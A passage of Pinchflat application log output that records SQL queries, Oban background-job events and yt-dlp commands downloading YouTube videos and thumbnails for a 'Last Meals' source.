o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:46.470 [debug] QUERY OK source="media_items" db=0.1ms idle=13.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [56] 21:56:46.470 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [56] 21:56:46.475 [info] {"args":{"id":57},"id":60,"meta":{},"system_time":1774663006475850468,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:56:46.476 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [57] 21:56:46.476 [debug] QUERY OK source="tasks" db=0.8ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:46.476 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:56:46.477 [debug] QUERY OK source="tasks" db=0.8ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:46.477 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:56:46.477 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [56, 57] 21:56:46.478 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:46.478 [debug] QUERY OK source="media_items" db=1.0ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [56, 57] 21:56:46.478 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [57] 21:56:46.479 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [57] 21:56:46.479 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:46.479 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:46.479 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:46.480 [debug] Running yt-dlp command for action: get_downloadable_status 21:56:46.480 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:46.480 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:46.480 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:46.481 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1a/bd/1abda89572d51c6e092895fa28839ed8d1245f212688b03cee5ed87ff54394aa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:48.085 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/8c/d08c5eaa7bb0ae332d0611a3688a9660c2764dd72f19eeded479ec6455d84a5d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:48.098 [debug] Running yt-dlp command for action: download_thumbnail 21:56:48.098 [debug] QUERY OK source="settings" db=0.1ms idle=822.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.098 [debug] QUERY OK source="settings" db=0.0ms idle=38.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.098 [debug] QUERY OK source="settings" db=0.0ms idle=38.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.099 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/56/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/53/31532cad651f8d957f55677b9a38fb0f7a1c7baf98bd5b2a1dbcf8917afcd3cc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:48.900 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1a/bd/1abda89572d51c6e092895fa28839ed8d1245f212688b03cee5ed87ff54394aa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:48.900 [debug] Running yt-dlp command for action: download 21:56:48.901 [debug] QUERY OK source="settings" db=0.1ms idle=840.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.901 [debug] QUERY OK source="settings" db=0.0ms idle=802.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.901 [debug] QUERY OK source="settings" db=0.0ms idle=802.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:48.901 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/14/0e14b8b02a5f5ef8017b171876aa69c66d97f47a53e0b18f23960be52328053c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:50.981 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/56/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/53/31532cad651f8d957f55677b9a38fb0f7a1c7baf98bd5b2a1dbcf8917afcd3cc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:50.981 [debug] QUERY OK db=0.0ms idle=920.9ms begin [] 21:56:50.982 [debug] QUERY OK source="media_items" db=0.9ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:56:48Z], "/downloads/Last Meals/2023-11-14 Emma Chamberlain Eats Her Last Meal/Emma Chamberlain Eats Her Last Meal [Bn6xBU9AhoM].mp4", ~U[2026-03-28 01:56:50Z], 56] 21:56:50.983 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/56/metadata.json.gz", "/config/metadata/media_items/56/thumbnail.jpg", 56, ~U[2026-03-28 01:56:50Z], ~U[2026-03-28 01:56:50Z]] 21:56:50.983 [debug] QUERY OK db=0.0ms commit [] 21:56:50.984 [debug] QUERY OK source="media_items" db=1.1ms idle=923.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [397378747, ~U[2026-03-28 01:56:50Z], 56] 21:56:50.984 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:56:50.985 [info] {"args":{"id":56},"id":59,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137854110,"event":"job:stop","queue_time":3972130394,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:56:50.985 [debug] QUERY OK source="tasks" db=0.5ms idle=924.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:50.985 [debug] QUERY OK source="tasks" db=0.6ms idle=706.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:50.986 [debug] QUERY OK source="media_items" db=0.0ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [57] 21:56:50.986 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [57] 21:56:50.990 [info] {"args":{"id":58},"id":61,"meta":{},"system_time":1774663010990903993,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:56:50.991 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 21:56:50.991 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:56:50.992 [debug] QUERY OK source="tasks" db=1.4ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:50.992 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:56:50.993 [debug] QUERY OK source="tasks" db=1.7ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:50.993 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:50.993 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [57, 58] 21:56:50.994 [debug] QUERY OK source="media_items" db=0.4ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [57, 58] 21:56:50.994 [debug] QUERY OK source="media_items" db=0.8ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [58] 21:56:50.995 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [58] 21:56:50.995 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:50.995 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:50.996 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:50.996 [debug] Running yt-dlp command for action: get_downloadable_status 21:56:50.996 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:50.996 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", 